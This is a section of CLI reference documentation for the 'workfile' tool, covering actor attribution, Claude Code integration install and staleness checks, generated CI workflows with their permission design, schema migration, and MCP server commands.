Accepted decisions and conventions skip the relevance filter, because a rule binds work that does not mention it. Past --limit they are not cut: they come back under Also in force as one titled line each, so a workspace with fifty accepted ADRs still hands an agent every ID it must not contradict at a cost of a line rather than a summary. Everything else that did not fit is reported as a count under Left out and reachable through search.

whoami prints the actor every surface attributes mutations to, and which rung produced it. Resolution order: an explicit --actor, then $WORKFILE_ACTOR, then user@host — discriminated by a short session prefix when a session id is present, because two agent sessions in one checkout are two actors and a shared username would let them silently take each other's claims. Set $WORKFILE_ACTOR to pin a stable name.

Claude Code

workfile claude install [--dry-run] [--force]
workfile claude check [--json]

install writes the Claude Code surface into the repository — the MCP server registration, the slash commands, the skill and the session hooks — as managed blocks a later resync updates without touching anything around them. check reports which of them are stale and exits 1 when any is, which is what makes it usable in CI. Each stale file is reported with the comparison that failed — style, body, digest or trailing-newline — because one of them is otherwise invisible: the digest is taken over trimmed bytes, so a file that lost its final newline agrees with its own digest and is stale over a byte no hash covers.

.mcp.json and .claude/settings.json carry no marker to hold a digest, because they are merged into files the repository also owns. They are compared against the values an install would write, key by key, using the ledger at .project/generated/claude-code.json that records which of them are this tool's — so a hand-edited server registration is reported as mcpServers.workfile, and a server the repository added beside it is neither compared nor touched.

The last line of the report is not a file but the command the hooks name, resolved. A workspace with the package installed gets node node_modules/@illodev/workfile/…/hooks.mjs; one without gets the workfile-hooks bin, found on PATH. Either can be unreachable, which is a different repair from a stale file: the settings can say exactly what an install would write and still name a hook that is not there, and a hook that cannot run exits 0 in silence. It is reported as a warning rather than an error, because whether a bin is on PATH is true on one machine and false on another.

workfile claude with no subcommand runs check, because reporting is the safe default for a word that otherwise writes files.

Neither command is what installs the package into a Claude Code session: a client reads .mcp.json and starts the server itself. See mcp.md for what install writes and what each hook does.

CI templates

workfile ci sync [--targets github,gitlab,generic]
workfile ci check [--targets ...]

What the generated GitHub workflow does, and what it will not do

Three jobs. doctor validates the protocol. cards runs the commands the cards this branch touched declare, and record writes the result back.

Those last two are deliberately not one job. A criterion bound to a command can only be checked by running it, so cards executes commands a pull request declared — and therefore holds permissions: {}, with no credentials left in .git/config. Writing evidence needs contents: write, so record holds it and runs no repository code at all: not even Workfile, because every Workfile command import()s project.config.mjs from the checkout. It applies a patch bounded to the protocol directory and pushes.

A fork records nothing. GitHub issues a read-only token for pull_request from a fork, so the push cannot land whatever the workflow says; record also declines to start there, in order to say so rather than fail at the last step.

CI closes a card only when every one of its criteria is bound to a command. A narrative criterion is not something a runner has an opinion about, so a card that carries one gets its bound boxes written and stays open, with the reason reported. That is the whole safety of the write-back: card ac --check refuses a bound criterion and only the runner writes it, so the boxes CI touches are boxes no person was going to check either way.

Only on a pull request. "The cards this branch touched" is a diff against a base and a push to a default branch has none. The checkout needs fetch-depth: 0, because the diff is taken from the merge base and a shallow clone has none — reported as cannot answer rather than as an empty diff, which would turn "nothing was verified" into "there was nothing to verify".

--base is required and has no default. Guessing it wrong means running the declared commands of cards the branch never opened, and writing to them.

GitLab and the generic script run no card commands. GitLab has no per-job permission scope, so the job sees every unprotected variable in the project and there is nowhere to put a command a merge request declared; the generic script inherits the whole environment of whatever invokes it. Both files carry the invocation commented out with what a maintainer would have to arrange first.

Legacy migration

workfile migrate plan [--source .planning] [--mode copy|move]
workfile migrate apply [--source .planning] [--mode copy|move] [--force]
workfile migrate schema [--dry-run] [--json]

Valid v1 cards become canonical v2 records; everything else is preserved under .project/sources/legacy-planning/ with a written migration report.

migrate schema is a different job: it moves a workspace forward when the installed package expects a newer schemaVersion than .project/VERSION declares. Steps run in ascending order under a lock, --dry-run prints the plan without writing, and the result is recorded in .project/migrations/schema.json along with upgradedWith in .project/VERSION. A workspace newer than the package is refused with WORKSPACE_SCHEMA_AHEAD — upgrade the package instead.

MCP

workfile mcp [serve] [--read-only]
workfile mcp inspect [--json]
workfile mcp config [--read-only] [--json]

See mcp.md for the server contract.

Generated from packages/workfile/docs/cli.md.